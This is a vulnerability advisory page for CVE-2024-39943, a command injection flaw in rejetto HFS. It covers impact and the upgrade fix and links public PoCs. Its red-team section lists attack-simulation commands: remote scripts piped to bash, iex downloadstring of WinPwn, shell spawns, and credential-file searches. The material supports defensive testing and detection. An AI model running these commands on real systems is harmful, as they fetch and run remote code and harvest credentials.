CVE-2024-39943
Overview
This vulnerability is a command injection flaw rooted in the use of a shell invocation within the HTTP File Server (HFS) application. Specifically, the df command is executed via execSync in Node.js rather than the safer spawnSync, allowing improper handling of user input. The affected component is the file upload functionality in HFS versions prior to 0.52.10 on Linux, UNIX, and macOS platforms, where authenticated users with upload permissions can trigger the flaw.
Vulnerability Description
rejetto HFS (aka HTTP File Server) 3 before 0.52.10 on Linux, UNIX, and macOS allows OS command execution by remote authenticated users (if they have Upload permissions). This occurs because a shell is used to execute df (i.e., with execSync instead of spawnSync in child_process in Node.js).
Impact
An attacker with valid credentials and upload permissions can execute arbitrary operating system commands remotely, potentially compromising the server's integrity and confidentiality. This requires network access and authenticated user privileges with upload rights. The vulnerability allows privilege escalation within the scope of the authenticated user, enabling lateral movement or data exfiltration. According to the CVSS vector, the attack complexity is low (AC:L), privileges required are low (PR:L), and no user interaction is needed (UI:N).
Solution
Upgrade rejetto HFS to version 0.52.10 or later, where the vulnerable execSync usage has been replaced with spawnSync to prevent shell command injection. Refer to the official vendor commit at https://github.com/rejetto/hfs/commit/305381bd36eee074fb238b64302a252668daad1d for detailed patch information. No alternative workarounds are documented; applying this update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in rejetto HFS (HTTP File Server) versions prior to 0.52.10 allows for the execution of operating system commands by remote authenticated users who possess upload permissions. This flaw arises from the improper use of the execSync function in Node.js, which executes commands in a shell environment. Specifically, the vulnerability is triggered when the application uses the df command, which is intended to display disk space usage. The reliance on a shell for command execution opens a pathway for attackers to inject arbitrary commands, leading to potential system compromise.
Attack vectors for this vulnerability are particularly concerning due to the nature of the affected product. Since the flaw can be exploited by authenticated users, the risk escalates in environments where user accounts are not tightly controlled. An attacker with valid credentials could craft a malicious payload to execute arbitrary commands on the server. For instance, an attacker could upload a file containing a crafted command, leveraging the upload functionality to gain unauthorized access to sensitive system resources. This scenario could lead to data exfiltration, system manipulation, or even the installation of persistent backdoors, thereby significantly increasing the attack surface of the affected systems.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on rejetto HFS for file sharing and management. Given its high CVSS score of 8.8, the risk associated with this vulnerability is categorized as critical. Organizations could face severe consequences, including data breaches, loss of sensitive information, and potential downtime due to remediation efforts. The financial implications of such incidents can be staggering, ranging from regulatory fines to reputational damage that could affect customer trust and business continuity. Additionally, the exploitation of this vulnerability could lead to further attacks within the network, as compromised systems may serve as launch points for broader intrusions.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to ensure that all instances of rejetto HFS are updated to the latest version, which addresses this specific vulnerability. Regular patch management practices should be enforced to minimize the risk of exploitation. Furthermore, organizations should conduct thorough audits of user permissions to ensure that only trusted individuals have upload capabilities. Employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate an attempted exploitation of this vulnerability. Additionally, implementing network segmentation can limit the potential impact of a successful attack by isolating critical systems from less secure environments.
In conclusion, the command execution vulnerability in rejetto HFS represents a significant threat to organizations using this file server software. The ability for authenticated users to execute arbitrary commands poses a serious risk, necessitating immediate attention and action. By prioritizing timely updates, stringent access controls, and proactive monitoring, organizations can mitigate the risks associated with this vulnerability and safeguard their systems against potential exploitation. The evolving threat landscape underscores the importance of maintaining robust cybersecurity practices to protect sensitive data and maintain operational integrity.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rejetto | Http File Server | All |
cpe:2.3:a:rejetto:http_file_server:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Heyholiday067/CVE-2024-39943-Poc
CVE-2024-39943 rejetto HFS (aka HTTP File Server) 3 before 0.52.10 on Linux, UNIX, and macOS allows OS command execution...
|
Heyholiday067 | 0 | 5 | 2024-07-05 | View |
|
JenmrR/Node.js-CVE-2024-39943
|
JenmrR | 0 | 0 | 2025-04-19 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-39943 |
| rejetto.com |
GitHub CVE
|
https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads |
| github.com |
GitHub CVE
|
https://github.com/rejetto/hfs/commit/305381bd36eee074fb238b64302a252668daad1d |
| github.com |
GitHub CVE
|
https://github.com/rejetto/hfs/compare/v0.52.9...v0.52.10 |